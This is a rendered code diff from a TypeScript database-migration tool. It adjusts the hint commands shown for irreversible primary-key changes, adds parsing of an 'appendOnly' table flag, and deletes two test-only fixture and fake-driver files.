`psql "$DATABASE_URL" -c "select con.conname from pg_constraint con join pg_class rel on rel.oid = con.conrelid where con.contype = 'p' and rel.relname = '${renderFixShellArg(table, '<table>')}'" # then write the drop constraint / add primary key pair by hand in a new migration`,
|
|
31
61
|
);
|
|
32
62
|
return name;
|
|
33
63
|
}
|
|
@@ -111,7 +141,7 @@ export function dropChangedKey(
|
|
|
111
141
|
if (inbound.length > 0) {
|
|
112
142
|
throw migrationIrreversible(
|
|
113
143
|
`changing the primary key of "${entity.table}" drops the constraint ${inbound.map((name) => `"${name}"`).join(', ')} ${inbound.length === 1 ? 'is' : 'are'} written against, and re-pointing another table's foreign key is not a change this generator can derive`,
|
|
114
|
-
`x db gen
|
|
144
|
+
`x db gen ${migrationNameArg(migration)} # after removing the references() to "${entity.table}" behind ${inbound.join(', ')} — drop the keys in one migration, change the primary key in the next, restore them in a third`,
|
|
115
145
|
);
|
|
116
146
|
}
|
|
117
147
|
plan.up.push(dropPrimaryKey(entity.table, primaryKeyName(entity.table), true));
|
|
@@ -164,7 +194,7 @@ export function addChangedKey(
|
|
|
164
194
|
const names = empty.map((column) => `"${column.column}"`).join(', ');
|
|
165
195
|
throw migrationIrreversible(
|
|
166
196
|
`the new primary key of "${entity.table}" names ${names}, which this same migration adds with no default that fills it: every existing row would hold NULL there, and a primary key cannot be added over a NULL`,
|
|
167
|
-
`x db gen
|
|
197
|
+
`x db gen ${migrationNameArg(migration)} # with ${names} declared but left OUT of primaryKey — apply it, backfill the column, then put it in the key and run x db gen again`,
|
|
168
198
|
);
|
|
169
199
|
}
|
|
170
200
|
plan.up.push(addPrimaryKey(entity.table, entity.primaryKey));
|
package/src/snapshot-parse.ts
CHANGED
|
@@ -118,14 +118,20 @@ function tableOf(value: unknown): TableDescription | undefined {
|
|
|
118
118
|
// wrong. Any other value is garbage and takes the file with it, like every field above.
|
|
119
119
|
const identity = value['replicaIdentityFull'];
|
|
120
120
|
if (!(identity === undefined || bool(identity))) return undefined;
|
|
121
|
-
|
|
121
|
+
// `appendOnly` by the same rule: `true` or nothing, `false` normalised away.
|
|
122
|
+
const appendOnly = value['appendOnly'];
|
|
123
|
+
if (!(appendOnly === undefined || bool(appendOnly))) return undefined;
|
|
124
|
+
const flags = {
|
|
125
|
+
...(identity === true ? { replicaIdentityFull: true as const } : {}),
|
|
126
|
+
...(appendOnly === true ? { appendOnly: true as const } : {}),
|
|
127
|
+
};
|
|
122
128
|
const raw = value['checks'];
|
|
123
129
|
if (raw === undefined) {
|
|
124
|
-
return { schema, name, columns, primaryKey, indexes, foreignKeys, ...
|
|
130
|
+
return { schema, name, columns, primaryKey, indexes, foreignKeys, ...flags };
|
|
125
131
|
}
|
|
126
132
|
const checks = all(raw, check);
|
|
127
133
|
if (checks === undefined) return undefined;
|
|
128
|
-
return { schema, name, columns, primaryKey, indexes, foreignKeys, checks, ...
|
|
134
|
+
return { schema, name, columns, primaryKey, indexes, foreignKeys, checks, ...flags };
|
|
129
135
|
}
|
|
130
136
|
|
|
131
137
|
/**
|
package/src/drift-fixtures.ts
DELETED
|
@@ -1,23 +0,0 @@
|
|
|
1
|
-
// TEST-ONLY. The two builders every drift suite compares with — a `TableDescription` of text
|
|
2
|
-
// columns and the `SchemaDescription` around it. One copy, because three suites arguing about
|
|
3
|
-
// schemas built differently would each be judging a different fixture. Never exported from
|
|
4
|
-
// `index.ts`.
|
|
5
|
-
|
|
6
|
-
import type { SchemaDescription, TableDescription } from './introspect';
|
|
7
|
-
|
|
8
|
-
export const table = (name: string, columns: readonly string[]): TableDescription => ({
|
|
9
|
-
schema: 'public',
|
|
10
|
-
name,
|
|
11
|
-
columns: columns.map((column, index) => ({
|
|
12
|
-
name: column,
|
|
13
|
-
dataType: 'text',
|
|
14
|
-
nullable: true,
|
|
15
|
-
default: null,
|
|
16
|
-
position: index + 1,
|
|
17
|
-
})),
|
|
18
|
-
primaryKey: ['id'],
|
|
19
|
-
indexes: [],
|
|
20
|
-
foreignKeys: [],
|
|
21
|
-
});
|
|
22
|
-
|
|
23
|
-
export const schema = (...tables: readonly TableDescription[]): SchemaDescription => ({ tables });
|
package/src/fake-pglite.ts
DELETED
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
// Single responsibility: the PGlite driver fake the adapter tests record statements against.
|
|
2
|
-
// Shared rather than copied for the same reason `fake-reservable.ts` is: the assertion in every
|
|
3
|
-
// one of these tests is the recorded ORDER, and two copies of the recorder drift into two orders.
|
|
4
|
-
|
|
5
|
-
import type { PgliteDriver, PgliteResult } from './pglite';
|
|
6
|
-
|
|
7
|
-
/** One statement as the driver received it — the text after binding, and the bound values. */
|
|
8
|
-
export interface Recorded {
|
|
9
|
-
readonly text: string;
|
|
10
|
-
readonly values: readonly unknown[];
|
|
11
|
-
}
|
|
12
|
-
|
|
13
|
-
export type RecordingPgliteDriver = PgliteDriver & {
|
|
14
|
-
readonly calls: Recorded[];
|
|
15
|
-
closed: number;
|
|
16
|
-
};
|
|
17
|
-
|
|
18
|
-
/** A driver that answers every statement with `result` and remembers the order it saw them in. */
|
|
19
|
-
export function fakeDriver(result: PgliteResult): RecordingPgliteDriver {
|
|
20
|
-
const calls: Recorded[] = [];
|
|
21
|
-
return {
|
|
22
|
-
calls,
|
|
23
|
-
closed: 0,
|
|
24
|
-
async query(text, values) {
|
|
25
|
-
calls.push({ text, values: values ?? [] });
|
|
26
|
-
return result;
|
|
27
|
-
},
|
|
28
|
-
async close() {
|
|
29
|
-
this.closed += 1;
|
|
30
|
-
},
|
|
31
|
-
};
|
|
32
|
-
}
|